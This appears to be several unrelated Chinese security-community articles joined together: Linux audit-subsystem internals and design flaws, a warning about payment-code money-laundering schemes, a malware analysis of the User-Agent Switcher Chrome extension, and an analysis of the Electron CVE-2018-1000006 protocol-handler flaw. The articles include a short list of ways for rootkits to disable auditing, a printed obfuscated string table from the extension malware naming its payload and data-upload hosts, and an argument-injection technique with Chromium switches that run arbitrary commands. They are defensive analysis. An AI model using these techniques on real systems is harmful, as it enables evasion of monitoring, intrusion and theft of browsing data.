规则判断和将日志发送到日志队列里是在[2]处的系统调用完成之后的[3]处处理的。这里充分表达了audit子系统的任务是只做审计之用，不做拦截的操作，拦截的事情可以交给secomp去做，所以audit子系统不能代替secomp做沙箱功能。但是secomp有个弊端，使用的bpf规则不能动态更改，而audit却可以使用netlink协议实时更新，后续在我的AKSP内核自保护项目中会对audit进行改进，使其具备沙箱的能力。
[3] 处的syscall_slow_exit_work调用audit_syscall_exit做真正的过滤处理操作：
void __audit_syscall_exit(int success, long return_code)
{
audit_filter_syscall(current, context,
&audit_filter_list[AUDIT_FILTER_EXIT]);
audit_filter_inodes(current, context);
}
可以看到audit_filter_syscall取的是audit_filter_list数组里AUDIT_FILTER_EXIT为索引的链表。
static enum audit_state audit_filter_syscall(struct task_struct *tsk,
struct audit_context *ctx,
struct list_head *list)
{
struct audit_entry *e;
enum audit_state state;
if (auditd_test_task(tsk))
return AUDIT_DISABLED;
rcu_read_lock();
list_for_each_entry_rcu(e, list, list) {
if (audit_in_mask(&e->rule, ctx->major) &&
audit_filter_rules(tsk, &e->rule, ctx, NULL,
&state, false)) {
rcu_read_unlock();
ctx->current_state = state;
return state;
}
}
rcu_read_unlock();
return AUDIT_BUILD_CONTEXT;
}
auditd_test_task识别当前进程是否为auditd进程，linux
audit子系统对auditd进程不做审计的。开始遍历每个audit_entry节点，audit_in_mask判断当前系统调用号是否为需要匹配的系统调用号，命中规则后，在继续调用audit_filter_rules做更进一步的规则匹配：
static int audit_filter_rules(struct task_struct *tsk,
struct audit_krule *rule,
struct audit_context *ctx,
struct audit_names *name,
enum audit_state *state,
bool task_creation)
{
for (i = 0; i < rule->field_count; i++) {
case AUDIT_UID:
result = audit_uid_comparator(cred->uid, f->op, f->uid);
case AUDIT_INODE:
if (name)
result = audit_comparator(name->ino, f->op, f->val);
else if (ctx) {
list_for_each_entry(n, &ctx->names_list, list) {
if (audit_comparator(n->ino, f->op, f->val)) {
++result;
break;
}
}
}
case AUDIT_WATCH:
if (name) {
result = audit_watch_compare(rule->watch,
name->ino,
name->dev);
}
循环遍历rule的每个filed结构体，对其进行比较操作，比如对文件监控时，调用 audit_watch_compare进行比对：
int audit_watch_compare(struct audit_watch *watch, unsigned long ino, dev_t dev)
{
return (watch->ino != AUDIT_INO_UNSET) &&
(watch->ino == ino) &&
(watch->dev == dev);
}
注意对于inode的监控，audit子系统可以通过auditctl -F
单独对用户指定的一个inode节点做监控，也可以使用audit_filter_inodes做监控。
void audit_filter_inodes(struct task_struct *tsk, struct audit_context *ctx)
{
struct audit_names *n;
list_for_each_entry(n, &ctx->names_list, list) {
if (audit_filter_inode_name(tsk, n, ctx))
break;
}
}
循环遍历一个struct audit_names类型的结构体链表。
struct audit_names {
struct list_head list; /* audit_context->names_list */
struct filename *name;
int name_len; /* number of chars to log */
bool hidden; /* don't log this record */
unsigned long ino;
dev_t dev;
umode_t mode;
kuid_t uid;
kgid_t gid;
dev_t rdev;
u32 osid;
struct audit_cap_data fcap;
unsigned int fcap_ver;
unsigned char type; /* record type */
/*
* This was an allocated audit_names and not from the array of
* names allocated in the task audit context. Thus this name
* should be freed on syscall exit.
*/
bool should_free;
};
这个结构体的创建不是来自用户态，而是通过预埋的文件系统接口动态生成的。文件系统里很多对inode的操作会调用audit_inode和audit_inode_child来进行审计。
void __audit_inode(struct filename *name, const struct dentry *dentry,
unsigned int flags)
{
list_for_each_entry_rcu(e, list, list) {[1]
for (i = 0; i < e->rule.field_count; i++) {
struct audit_field *f = &e->rule.fields[i];
if (f->type == AUDIT_FSTYPE
&& audit_comparator(inode->i_sb->s_magic,
f->op, f->val)
&& e->rule.action == AUDIT_NEVER) {
rcu_read_unlock();
return;
}
}
}
n = audit_alloc_name(context, AUDIT_TYPE_UNKNOWN);[2]
}
static struct audit_names *audit_alloc_name(struct audit_context *context,
unsigned char type)
{
list_add_tail(&aname->list, &context->names_list);
}
首先在[1]处遍历匹配现有的规则， 对于新生成的inode节点通过[2]分配 Struct
audit_name结构并挂接到context->names_list链表中， 这就是前面看到对inode审计的数据来源。
##### 2.3.2 进程建立入口
在fork进程时，copy_process()->audit_alloc调用audit_filter_task进行一次规则过滤操作：
kernel/auditsc.c：
static enum audit_state audit_filter_task(struct task_struct *tsk, char **key)
{
list_for_each_entry_rcu(e, &audit_filter_list[AUDIT_FILTER_TASK], list) {
if (audit_filter_rules(tsk, &e->rule, NULL, NULL,
&state, true)) {
if (state == AUDIT_RECORD_CONTEXT)
*key = kstrdup(e->rule.filterkey, GFP_ATOMIC);
rcu_read_unlock();
return state;
}
}
}
可以看到内核正是从audit_filter_list数组选取的AUDIT_FILTER_TASK为索引的链表做过滤。
##### 2.3.3 文件系统入口
在前面讲inode规则过滤时，讲到audit子系统在文件系统很多接口中预埋了audit
hook接口，这些包括audit_inode和audit_inode_child。因为对于文件的监控，audit子系统目前不支持系统调用参数的解析，所以只能通过文件系统接口形式进行状态获取。
##### 2.3.4 用户自定义入口
Audit子系统允许从用户态传递一个字符串，输出在内核日志中：
[root@localhost linux-5.6.7]# auditctl -m "wzt"
You have mail in /var/spool/mail/root
[root@localhost linux-5.6.7]# grep 'wzt' /var/log/audit/audit.log
type=USER msg=audit(1608786569.953:85791): pid=67638 uid=0 auid=0 ses=291 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='wzt exe="/usr/sbin/auditctl" hostname=? addr=? terminal=pts/17 res=success'
笔者认为这个功能没有多大用处，
反而会带来一些潜在的安全问题，恶意软件进程可以杀死auditd进程，重新与netlink进行连接，这样可以向内核日志写入垃圾数据。
### 3 缺陷
#### 3.1 设计缺陷
通过对audit子系统的全面分析，笔者发现了它的一些设计缺陷。
##### 3.1.1 系统调用参数过滤不完整
只能记录系统调用的前四个参数内容，且只能为整型，不支持指针或结构体及其之间的嵌套定义。
不支持具体某个参数的过滤，比如open系统调用，只想过滤第2个参数是否为/etc/passwd，目前的audit子系统是做不到的。
##### 3.1.2 系统调用过滤丢失
Audit在完成过滤操作后，会把日志发送到一个队列中，在这之前还有一个日志产生频率的检查：
struct audit_buffer *audit_log_start(struct audit_context *ctx, gfp_t gfp_mask,
int type)
{
if (audit_rate_check() && printk_ratelimit())
pr_warn("audit_backlog=%d > audit_backlog_limit=%d\n",
skb_queue_len(&audit_queue),
audit_backlog_limit);
audit_log_lost("backlog limit exceeded");
}
audit_rate_check判断一秒内日志生成的数量是否大于audit_rate_limit，
如果大于这条日志就直接被忽略掉了，这样恶意软件可以使用一些tricky的手段绕过对关键系统调用的审计。
##### 3.1.3 tty passwd审计
笔者认为这是一个奇葩的功能，auditd可以向内核要求记录tty关闭回显的信息，这样passwd的操作内容就会被记录下来，这难道不是一个后门功能吗？
static int audit_receive_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
case AUDIT_TTY_SET: {
t = s.enabled | (-s.log_passwd & AUDIT_TTY_LOG_PASSWD);
t = xchg(¤t->signal->audit_tty, t);
}
}
当current->signal->audit_tty被置位后，tty_audit_add_data()将会关闭回显的信息推送给audit子系统。
void tty_audit_add_data(struct tty_struct *tty, const void *data, size_t size)
{
if ((~audit_tty & AUDIT_TTY_LOG_PASSWD) && icanon && !L_ECHO(tty))
return;
do {
if (buf->valid == N_TTY_BUF_SIZE)
tty_audit_buf_push(buf);
} while (size != 0);
}
下面我们来验证下这个可怕的功能:
修改/etc/pam.d/password-auth和/etc/pam.d/system-auth文件，加入：
session required pam_tty_audit.so disable=* enable=root log_passwd
新开启一个终端，然后输入以下命令：
[root@localhost ~]# passwd test
Changing password for user test.
New password:
[root@localhost ~]# aureport --tty
TTY Report
===============================================
# date time event auid term sess comm data
===============================================
5. 12/23/2020 21:41:42 88650 0 pts21 4405 bash "ls",<ret>
6. 12/23/2020 21:41:45 88659 0 ? 4405 ? "passwd test"
7. 12/23/2020 21:41:43 88654 0 pts21 4405 bash <ret>
8. 12/23/2020 21:41:43 88656 0 pts21 4405 bash <ret>
9. 12/23/2020 21:41:43 88652 0 pts21 4405 bash <ret>
10. 12/23/2020 21:41:45 88658 0 pts21 4405 bash "passwd test",<ret>
11. 12/23/2020 21:41:45 88685 0 pts21 4405 passwd "123456",<nl>
12. 12/23/2020 21:41:47 88687 0 pts21 4405 passwd "123456",<nl>
20. 12/23/2020 21:41:51 88727 0 pts21 4405 bash <ret>
21. 12/23/2020 21:41:56 88730 0 ? 4405 ? "aureport --tty"
22. 12/23/2020 21:41:56 88729 0 pts21 4405 bash "aure",<tab>,"--tty",<ret>
#### 3.2 关闭audit审计功能
对于rootkit或exploit，要想在系统中完美的规避主机HIPS的检测，需要关闭audit子系统，以下为笔者总结的方法：
A、 Struct audit_context ctx; Ctx->current_state = AUDIT_DISABLED 或者ctx = NULL
B、 Struct audit_krule = rule; rule->prio = 0
C、 Audit_enabled = 0; audit_ever_enabled = 0
D、 Clear_tsk_thread_flag(tsk, TIF_SYSCALL_AUDIT)
* * * | 社区文章 |
# 博彩犯罪如何“洗钱”？快捷支付收款码成“帮凶”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
注册平台，提供自己的收款码
一天就能轻松赚几千至上万
一个月赚几十万，一年赚上百万
真的有这种赚钱方式？暴利背后往往黑灰暗涌！
网络博彩是违法的行为，不法分子为了降低风险和逃避打击，他们借助 **第四方支付平台** 和 **“跑分”平台** 进行资金流转，俗称“洗钱”。
## 安安科普
**第四方支付**
指相对微信支付、支付宝等第三方支付而言，介于第三方支付和商户之间的网络支付平台，没有经营支付结算业务的许可牌照。、
**“跑分”平台**
利用微信或支付宝的收款码，为别人进行代收款，随后赚取佣金。
“跑分”平台打着兼职招聘的旗号，通过大量收集普通个人或商铺第三方支付收款码来进行资金流转，以类似网约车“抢单”的模式进行运作。这些租赁来的支付账户
**被大量用于电信网络诈骗、赌博、色情等违法犯罪活动收款，其实就是洗钱。**
**以“微信跑分”为例**
一般来说，用户出借自己的支付账户， **佣金的比例在1%到2%之间**
。也就是说，接一个1000元的“跑分”项目，可以赚取10元到20元。这样看似诱人的“跑分”网络兼职项目，其实背后蕴藏了极大风险，一些不明就里的年轻人、特别是在校大学生参与其中，一不小心就会成为犯罪分子的“帮凶”。
## “跑分”平台运作流程
部分跑分平台为防止监控，对注册及登录都进行限制：注册过程需 **使用邀请码** 才能注册成功；登录时需 **安装指定的登录软件** ，如谷歌验证器。
**具体“跑分”平台运作如下：**
**1、平台注册。** 在平台填写详细的姓名、手机号、邮箱、银行账户、身份证账号完成注册。
**2、平台充值。** 上传自己的收款二维码，包含微信、支付宝、支付宝转银行卡二维码等。
**3、平台抢单。** 提交收款二维码，可将佣金体现至指定收款账户。
4、达到提现要求，提取收益。
## “跑分”后台操作界面
跑分后台可对平台注册会员的 **充值记录、提现流水、二维码、银行卡** 进行删除添加。可以发布及控制抢单的金额及成功率。
**意味着平台控制用户的流水，甚至可以限制用户达到提现要求、删除用户提现账户，让用户无法提现。**
## 安全课堂
**参与“跑分”不仅有被骗风险，而且涉及违法犯罪：**
1. 如果跑分平台关停跑路，缴纳的保证金基本无法追回。
2. 向跑分平台提供大量个人身份信息、银行卡信息、网络账号信息等真实资料，被泄露的风险极高；
3. 自身的收款二维码被大量用于赌博、欺诈色情等违法活动，不正常的账号信息活动，容易使账号被封禁。
4. “跑分”平台实质上是为网络赌博等犯罪活动进行洗钱，涉嫌帮助信息网络犯罪活动罪，需要承担相应的法律责任。
提请各位用户警惕“跑分”陷阱，注意保护个人隐私信息，珍惜自己社交账号的使用权，不要轻易被网络上不切实际的高额利润所诱惑，更不要因为一时图利，随意出租、出借自己的身份信息、个人账号、支付账户等，以免沦为犯罪分子实施违法犯罪的工具。 | 社区文章 |
# 【木马分析】Chrome插件：User–Agent Switcher恶意代码分析报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：c1tas@360CERT**
**0x00 背景介绍**
2017年9月9日，在v2ex论坛有用户表示Chrome中名为 **User-Agent Switcher**
的扩展可能存在未授权侵犯用户隐私的恶意行为。因为用户量大，此事引起了广泛关注，360CERT在第一时间对插件进行了分析，并发布了预警<https://cert.360.cn/warning/detail?id=866e27f5a3dd221b506a9bb99e817889>
**0x01 行为概述**
360CERT经过跟踪分析，确认该插件将恶意代码隐写在正常图片中绕过Google
Chrome市场的安全检查，并在没有征得用户同意的情况下，主动记录并上传用户的网页浏览地址并通过广告推广获利。
**0x02 攻击面影响**
**影响面**
经过360CERT研判后确认， **漏洞风险等级高，影响范围广** 。
**影响版本**
Version 1.8.26
**DNS请求态势**
**uaswitcher.org**
通过查看两个 **User-Agent Switcher** 的接受数据域名( **uaswitcher.org**
)一个月内的记录，在2017年8月22日高点日活请求达到5万左右，在9月9日事件披露后至今依旧有4万左右的日活请求。
**the-extension.com & api.data-monitor.info**
通过查看两个 **User-Agent Switcher** 的payload推送域名和广告推广域名( **the-extension.com** ;
**api.data-monitor.info**
)的记录，从2017年8约22日前访问曲线才开始上升，其中对payload推送的域名访问高点大概达到日活1.3万左右，对广告推广获取的域名访问高点大概达到日活1.1万左右，并于9月19日访问曲线开始下降。
注:该数据来自于:360网络安全研究院(<http://netlab.360.com/> )
**修复版本**
暂无
**0x03 详情**
**技术细节**
首先安装了该插件后,linux会在该目录下得到相应的 **crx** 文件解包出来的插件配置以及相关功能 **js** 文件目录
/home/r7/.config/google-chrome/Default/Extensions/ffhkkpnppgnfaobgihpdblnhmmbodake
该目录的结构如下
1.8.26_0
├── css
│ ├── bootstrap.min.css
│ ├── options.css
│ └── popup.css
├── img
│ ├── active.png
│ ├── glyphicons-halflings.png
│ ├── glyphicons-halflings-white.png
│ ├── icon128.png
│ ├── icon16.png
│ ├── icon19.png
│ ├── icon38.png
│ └── icon48.png
├── js
│ ├── analytics.js
│ ├── background.js
│ ├── bootstrap.min.js
│ ├── content.js
│ ├── jquery.min.js
│ ├── JsonValues.js
│ ├── options.js
│ └── popup.js
├── manifest.json
├── _metadata
│ ├── computed_hashes.json
│ └── verified_contents.json
├── options.html
├── popup.html
└── promo.jpg
4 directories, 25 files
根据chrome插件编写原则 **manifest.json** 这个文件为核心配置文件
**canvas图片js代码隐藏**
那么现在直接从background.js看起 在background.js的70行处有一行经过js压缩的代码,进行beautify后
可以比较清楚的看到执行了这个promo函数,这里大部分代码的功能都是对promo.jpg这个图片文件的读取处理
**0x01**
先看到 **e.Vh**
其中第一部分还原出的值为
满足条件的地方是在 **181787** 这个值的地方 **181787//4=45446** 正好满足还原出的 **list** 长度 而值的内容都小于
**10** ,所以这就是为什么要放在A分量上,A分量的值255是完全不透明,而这部分值附加在245上.所以对图片的观感完全无影响
第二部分还原出的值为
这一部分就稍微复杂一点
in Vh for, y: 3
in Vh for, y: 6
in Vh for, y: 9
in Vh for, y: 12
in Vh for, y: 15
in Vh for, y: 18
in Vh for, y: 5
in Vh for, y: 8
in Vh for, y: 11
in Vh for, y: 14
in Vh for, y: 17
in Vh for, y: 4
in Vh for, y: 7
in Vh for, y: 10
in Vh for, y: 13
in Vh for, y: 16
可以看到 **y** 从 **0** 开始.当大于16的时候进行一次处理,而 **y** 有恒定的变化顺序
**3,6,9,12,15,18,5,8,11,14,17,4,7,10,13,16**
而触发处理的是在 **> =16**这一条件下,构成(6,5,5)这样一个循环
再结合w的变换,只需要再安排好一个合适的数列，就能把大数拆分成(6,5,5)这样一组一组的由 **0-9** 组成的数
这就是为什么能以小于 **10** 的值将期望的值隐藏在 **A** 分量里
这就达到了将js代码隐藏于图片的效果，并且对图片本身几乎无任何显示效果以及大小上的影响
而根据js中, **document.dafaultView[“Function”](n)()** 这个方式,可以直接执行n中的js代码,所以直接尝试增加
**document.write(n)** 直接输出n的内容至页面
可以看到这确实是一段js代码
**隐藏JS代码执行**
可以看到,原本的代码是执行 **i()** 函数,而 **i()** 函数的内容是 **setTimeout** 这一定时执行函数,为了测试
直接提取出其中的执行函数进行执行
这些代码的功能按流程来说如下
1.首先 **e({‘act’: func1(‘0x2d’)});** 进行一个时间戳校验,满足一定时间后,从 **https://the-extension.com** 上下载js的payload
2.调用 **chrome.storage.local.set** 方法将这段js代码保存至本地缓存
Log/home/r7/.config/google-chrome/Default/Local Extension Settings/ffhkkpnppgnfaobgihpdblnhmmbodake/000003.log
这一文件中
3.再通过 **r()[func1(‘0x1’)](a);** 调用 **r()** 函数后再调用 **a()**
函数,执行了第二部保存下来的恶意js代码,进行的用户信息上传
**0x01**
首先是第一个技术,代码里的英文字符串90%都转换成了16进制的表示形式
例如
var _0x2126 = ['x63x6fx64x65', 'x76x65x72x73x69x6fx6e', 'x65x72x72x6fx72', 'x64x6fx77x6ex6cx6fx61x64', 'x69x6ex76x61x6cx69x64x4dx6fx6ex65x74x69x7ax61x74x69x6fx6ex43x6fx64x65', 'x54x6ax50x7ax6cx38x63x61x49x34x31', 'x4bx49x31x30x77x54x77x77x76x46x37', 'x46x75x6ex63x74x69x6fx6e', 'x72x75x6e', 'x69x64x6cx65', 'x70x79x57x35x46x31x55x34x33x56x49', 'x69x6ex69x74', 'x68x74x74x70x73x3ax2fx2fx74x68x65x2dx65x78x74x65x6ex73x69x6fx6ex2ex63x6fx6d', 'x6cx6fx63x61x6c', 'x73x74x6fx72x61x67x65', 'x65x76x61x6c', 'x74x68x65x6e', 'x67x65x74', 'x67x65x74x54x69x6dx65', 'x73x65x74x55x54x43x48x6fx75x72x73', 'x75x72x6c', 'x6fx72x69x67x69x6e', 'x73x65x74', 'x47x45x54', 'x6cx6fx61x64x69x6ex67', 'x73x74x61x74x75x73', 'x72x65x6dx6fx76x65x4cx69x73x74x65x6ex65x72', 'x6fx6ex55x70x64x61x74x65x64', 'x74x61x62x73', 'x63x61x6cx6cx65x65', 'x61x64x64x4cx69x73x74x65x6ex65x72', 'x6fx6ex4dx65x73x73x61x67x65', 'x72x75x6ex74x69x6dx65', 'x65x78x65x63x75x74x65x53x63x72x69x70x74', 'x72x65x70x6cx61x63x65', 'x64x61x74x61', 'x74x65x73x74', 'x69x6ex63x6cx75x64x65x73', 'x68x74x74x70x3ax2fx2f', 'x6cx65x6ex67x74x68', 'x55x72x6cx20x65x72x72x6fx72', 'x71x75x65x72x79', 'x66x69x6cx74x65x72', 'x61x63x74x69x76x65', 'x66x6cx6fx6fx72', 'x72x61x6ex64x6fx6d', 'x63x68x61x72x43x6fx64x65x41x74', 'x66x72x6fx6dx43x68x61x72x43x6fx64x65', 'x70x61x72x73x65'];
这是一个列表,里面存了很多字符串,因为js有个特性,在形如 **chrome.storage.local** 这种调用的时候 完全可以使用
**chrome[“storage”][“local”]** 这种方式
然后这个列表的顺序其实不准确,还存在一个复原列表的操作
这个才是复原后的顺序
**0x02**
针对上面的列表取值,特地用了一个函数
该函数作用就是把传入的16进制值转换为10进制,再在这个列表里作 **index** ,返回对应字符串
可以看到大量采用这种形式的调用
**0x03**
可以看出代码中拥有大量的 **Promise** 对象
并且通过使用大量的箭头函数,是代码可读性并不如顺序执行那种思维出来的那么简单
**下载恶意payload**
****
<https://the-extension.com/?hash=jwtmv6kavksy5cazdf4leg66r> 为payload地址
**第二部分恶意代码**
**用户信息上传**
很容易读到
这个地方post了数据并且是往https://uaswitcher.org/logic/page/data 这个链接
这里可以看到，调用到.request方法的地方
然后调用了 **fetchOverlayPattern**
可以看到其中的内容就是要传输出去的用户信息
**广告推广部分**
代码部分
这部分比较简单，就不过多赘述
获取到的推广跳转链接
经过多次跳转后的页面
**补充说明**
**RGBA**
红绿蓝透明 R – 红色 (0-255) G – 绿色 (0-255) B – 蓝色 (0-255) A – alpha 通道 (0-255; 0
是透明的，255 是完全可见的)0
**总结**
该插件通过隐藏在图片中的恶意js代码向控制者服务器请求新的恶意payload,恶意payload可以在用户不知情被控制者随时修改更新
建议用户尽快卸载该插件，或使用其他插件代替
**0x04 利用验证**
可以看到当前的页面数据已经被获取了
**0x05 修复建议**
建议用户尽快卸载该插件，或使用其他插件代替
**0x06 时间线**
2017-09-09 事件披露
2017-09-10 360CERT发布预警通告
2017-09-20 360CERT完成全部细节分析
**0x07 参考文档**
Promise MDN web docs
<https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise>
Arrow functions MDN web docs
<https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Functions/Arrow_functions>
Pixel manipulation with canvas MDN web docs
<https://developer.mozilla.org/zh-CN/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas>
js中||的作用
<https://www.zhihu.com/question/23720136?nr=1>
不能说的秘密——前端也能玩的图片隐写术 | AlloyTeam
<http://www.alloyteam.com/2016/03/image-steganography/> | 社区文章 |
作者: 菜丝@蚂蚁金服巴斯光年实验室
Electron 是一款基于 Web 技术（HTML5 + Javascript + css）构建图形界面的开发框架，基于 nodejs 和
Chromium 开发。因为无痛兼容 nodejs 包管理（npm）的大量功能丰富的模块，相对于 native
实现降低了开发难度和迭代成本，受到了开发者的青睐。
## 漏洞描述
Electron 近日发布了漏洞 [CVE-2018-1000006](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000006)
的安全公告：<https://electronjs.org/blog/protocol-handler-fix>
这是一个远程命令执行漏洞。在受影响的应用注册了自定义 url 协议之后，攻击者可以利用这些伪协议，在浏览器等场景中远程通过恶意的 url
传递命令行参数执行任意命令，最终完全控制受害者的计算机。由于其利用方式简单粗暴，执行效果理想，是一个危害很大的漏洞。
由于 Electron 的流行，受影响的软件甚至包括 Atom 编辑器, GitHub 客户端, VSCode 编辑器, Slack 客户端这样用户颇多的
Windows 桌面应用。
Electron 官方公告建议升级至如下修订版本（或更高）以获得补丁：
* [1.8.2-beta.4](https://github.com/electron/electron/releases/tag/v1.8.2-beta.4)
* [1.7.11](https://github.com/electron/electron/releases/tag/v1.7.11)
* [1.6.16](https://github.com/electron/electron/releases/tag/v1.6.16)
如果暂时不能更新框架版本，那么应该在使用
[app.setAsDefaultProtocolClient](https://electronjs.org/docs/api/app#appsetasdefaultprotocolclientprotocol-path-args-macos-windows) api 的时候将用户可控参数放置于 "--" 之后：
app.setAsDefaultProtocolClient(protocol, process.execPath, [
'--your-switches-here',
'--'
])
## 漏洞成因
Electron 支持注册自定义 url 协议，浏览器可通过伪协议这种 IPC 方式唤起本地的应用。例如 VSCode 编辑器就注册了 `vscode:`
这一伪协议，在浏览器中安装插件时可以直接点击跳转到 VSCode 的界面：
在 Windows、macOS 以及某些 Linux 桌面环境上都对这种功能提供了原生支持。这次出现远程命令注入的漏洞仅限于 Windows 平台，是因为与
Win32 应用注册 url scheme 和调用的机制有关。
先了解一下 Windows 下的伪协议。微软的 MSDN 对其的介绍文章：[Registering an Application to a URI
Scheme](https://msdn.microsoft.com/en-us/library/aa767914%28v=vs.85%29.aspx)
假设需要注册一个名为 `alert:` 的协议关联到 alert.exe 打开，在 Windows 中需要创建如下的注册表项结构：
HKEY_CLASSES_ROOT
alert
(Default) = "URL:Alert Protocol"
URL Protocol = ""
DefaultIcon
(Default) = "alert.exe,1"
shell
open
command
(Default) = "C:\Program Files\Alert\alert.exe" "%1"
命令行中的 %1 表示占位符，也就是通过 argv 将 url 作为参数传递给目标程序。之所以需要双引号，是为了避免参数中存在空格，导致
`CommandLineToArgvW` 函数错误地将文件名拆分成多个部分。
应用可以自行在安装包中创建注册表项，此外 Electron 提供了一个 API
[app.setAsDefaultProtocolClient(protocol[, path,
args])](https://electronjs.org/docs/api/app#appsetasdefaultprotocolclientprotocol-path-args-macos-windows) 来实现注册。
如果 `alert.exe` 没有运行，打开 alert: 协议 url 将会通过命令行执行 alert.exe：
`"C:\Program Files\Alert\alert.exe" "alert:Hello%20World"`
Internet Explorer 在执行命令行的时候会先对 url 进行一次 url decode 解码。
HKEY_CLASSES_ROOT 下不仅保存了伪协议的列表，还有文件扩展名的关联数据。事实上 Win32 程序处理本地文件和 url
的打开是类似的，甚至可以使用同一套 Win32 API —— ShellExecute(Ex) 。算上 ANSI 和 Unicode 的版本，一共 4
个函数。
打开一个本地文件：
`ShellExecuteW(NULL, L"open", L"c:\\hello.txt", NULL, NULL , SW_SHOW );`
通过系统默认浏览器访问淘宝：
`ShellExecuteW(NULL, L"open", L"https://www.taobao.com", NULL, NULL , SW_SHOW
);`
可以看到除了 lpFile 之外其他参数可以保持完全一致。ShellExecuteExW 也是类似的情况。
ShellExecute 系列函数在这里埋了两个坑。 **首先是可能存在开发者原本打算传入
url，却被解析成本地路径而变成打开文件甚至运行可执行文件；其次是关联命令行里包裹参数 "%1" 的双引号竟然是可以被闭合掉的。**
在 MSDN 中直接说明了闭合引号这一行为：
> To mitigate this issue:
>
> * Avoid spaces, quotes, or backslashes in your URI
> * Quote the %1 in the registration ("%1" as written in the 'alert' example
> registration)
> However, avoidance doesn't completely solve the problem of quotes in the
> URI or a backslash at the end of the URI.
>
再回到注册表关联的字符串部分。既然可以用双引号闭合 "%1"，这意味着可以通过伪造 argv 来向应用程序插入多个参数开关。
例如 `alert:1" --this-is-the-new "what`
最终创建的命令行变成了：
"C:\Program Files\Alert\alert.exe" "alert:1" --this-is-the-new "what"
Electron 生成的应用发行包包括两部分——预编译好的 Electron 运行时和应用本身的 Web 资源文件打包（*.asar）。由于
Electron 基于 Chromium 开发，一些 Chromium 的命令行开关对于 Electron 的主执行文件同样起作用。
Chromium 支持的命令行开关如下：
* <https://www.chromium.org/developers/how-tos/run-chromium-with-flags>
* <https://peter.sh/experiments/chromium-command-line-switches/>
Chromium 默认使用多进程模式。渲染器、插件进程的路径和参数可以在 Chromium 命令开关中自定义。CVE-2018-1000006 公开的
poc 利用的是 --gpu-launcher，经过巴斯光年实验室的分析，以下参数均支持执行任意命令：
* \--renderer-cmd-prefix
* \--gpu-launcher
* \--utility-cmd-prefix
* \--ppapi-plugin-launcher
* \--nacl-gdb
* \--ppapi-flash-path 和 --ppapi-flash-args
这意味着闭合引号之后，我们可以在 url 中直接注入命令执行。当然，如果嫌弃 gpu 进程和 renderer 进程的沙箱，我们还有 `--no-sandbox` 。
## 补丁分析
官方提供的补丁如下：
<https://github.com/electron/electron/commit/c49cb29ddf3368daf279bd60c007f9c015bc834c>
+ if (!atom::CheckCommandLineArguments(arguments.argc, arguments.argv))
+ return -1;
在启动之后增加了对命令行参数的检查，使用一个庞大的黑名单来屏蔽 Chromium 的参数开关：
<https://github.com/electron/electron/blob/c49cb29ddf3368daf279bd60c007f9c015bc834c/atom/app/command_line_args.cc>
然后在 atom/browser/atom_browser_client.cc 中增加了对子进程路径的检查：
<https://github.com/electron/electron/commit/c49cb29ddf3368daf279bd60c007f9c015bc834c#diff-fb76da0c9cc2defc5c9fa23dd04d5327R241>
+ // Make sure we're about to launch a known executable
+ base::FilePath child_path;
+ PathService::Get(content::CHILD_PROCESS_EXE, &child_path);
+ CHECK(base::MakeAbsoluteFilePath(command_line->GetProgram()) == child_path);
+
尝试启动非法的外部程序将导致异常退出。
此外对于官方给出的临时解决措施，其实也正是 Chromium 本身防止参数注入的办法，即在 “--” 开关之后出现的类似 --no-sandbox
参数将视作文件名处理。
## 漏洞考古
以下两个浏览器都是使用了 ShellExecute* 系 api 来打开外部 url scheme。
InternetExplorer 11
Breakpoint 3 hit
SHELL32!ShellExecuteExW:
00007ffc`6fad0ff0 48895c2408 mov qword ptr [rsp+8],rbx ss:00000072`e9eff790=0000000000000000
0:019> k
# Child-SP RetAddr Call Site
00 00000072`e9eff788 00007ffc`4b4e34fc SHELL32!ShellExecuteExW
01 00000072`e9eff790 00007ffc`4b1f3466 IEFRAME!CShellExecWithHandlerParams::Execute+0xbc
02 00000072`e9eff840 00007ffc`6e7dd544 IEFRAME!BrokerShellExecWithHandlerThreadProc+0x146
Chromium
[https://cs.chromium.org/chromium/src/chrome/browser/platform_util_win.cc?type=cs&sq=package:chromium&l=101](https://cs.chromium.org/chromium/src/chrome/browser/platform_util_win.cc?type=cs&sq=package:chromium&l=101)
if (reinterpret_cast<ULONG_PTR>(ShellExecuteA(NULL, "open",
escaped_url.c_str(), NULL, NULL,
SW_SHOWNORMAL)) <= 32) {
由于 Edge 是一个 UWP 应用，处理外部 url scheme 的方式发生了变化，在调用栈里不再出现 ShellExecute*，而换成了
`SHELL32!CDefFolderMenu::InvokeCommand`。
KERNEL32!CreateProcessWStub:
00007ffc`6ecae490 4c8bdc mov r11,rsp
0:007> k
# Child-SP RetAddr Call Site
00 00000018`474fe0b8 00007ffc`6d81b0f7 KERNEL32!CreateProcessWStub
......
0e 00000018`474fee30 00007ffc`568c2ad7 SHELL32!CDefFolderMenu::InvokeCommand+0x13e
0f 00000018`474ff1a0 00007ffc`565fca55 twinui!CExecuteItem::Execute+0x1ab [onecoreuap\shell\lib\executeitem\executeitem.cpp @ 351]
10 00000018`474ff220 00007ffc`565fa5c8 twinui!CBrokeredLauncher::CLaunchHelper::_LaunchShellItemWithOptionsAndVerb+0x19d [shell\twinui\associationlaunch\lib\launcher.cpp @ 2352]
11 00000018`474ff3a0 00007ffc`565fcef8 twinui!CBrokeredLauncher::CLaunchHelper::_ExecuteItem+0x28 [shell\twinui\associationlaunch\lib\launcher.cpp @ 2308]
12 00000018`474ff3e0 00007ffc`565fa046 twinui!CBrokeredLauncher::CLaunchHelper::_LaunchWithWarning+0x3c8 [shell\twinui\associationlaunch\lib\launcher.cpp @ 2267]
13 00000018`474ff490 00007ffc`565fa3c1 twinui!CBrokeredLauncher::CLaunchHelper::_DoLaunch+0x3e [shell\twinui\associationlaunch\lib\launcher.cpp @ 2210]
14 00000018`474ff4c0 00007ffc`565f48a4 twinui!CBrokeredLauncher::CLaunchHelper::_DoLaunchOrFallback+0x32d [shell\twinui\associationlaunch\lib\launcher.cpp @ 2064]
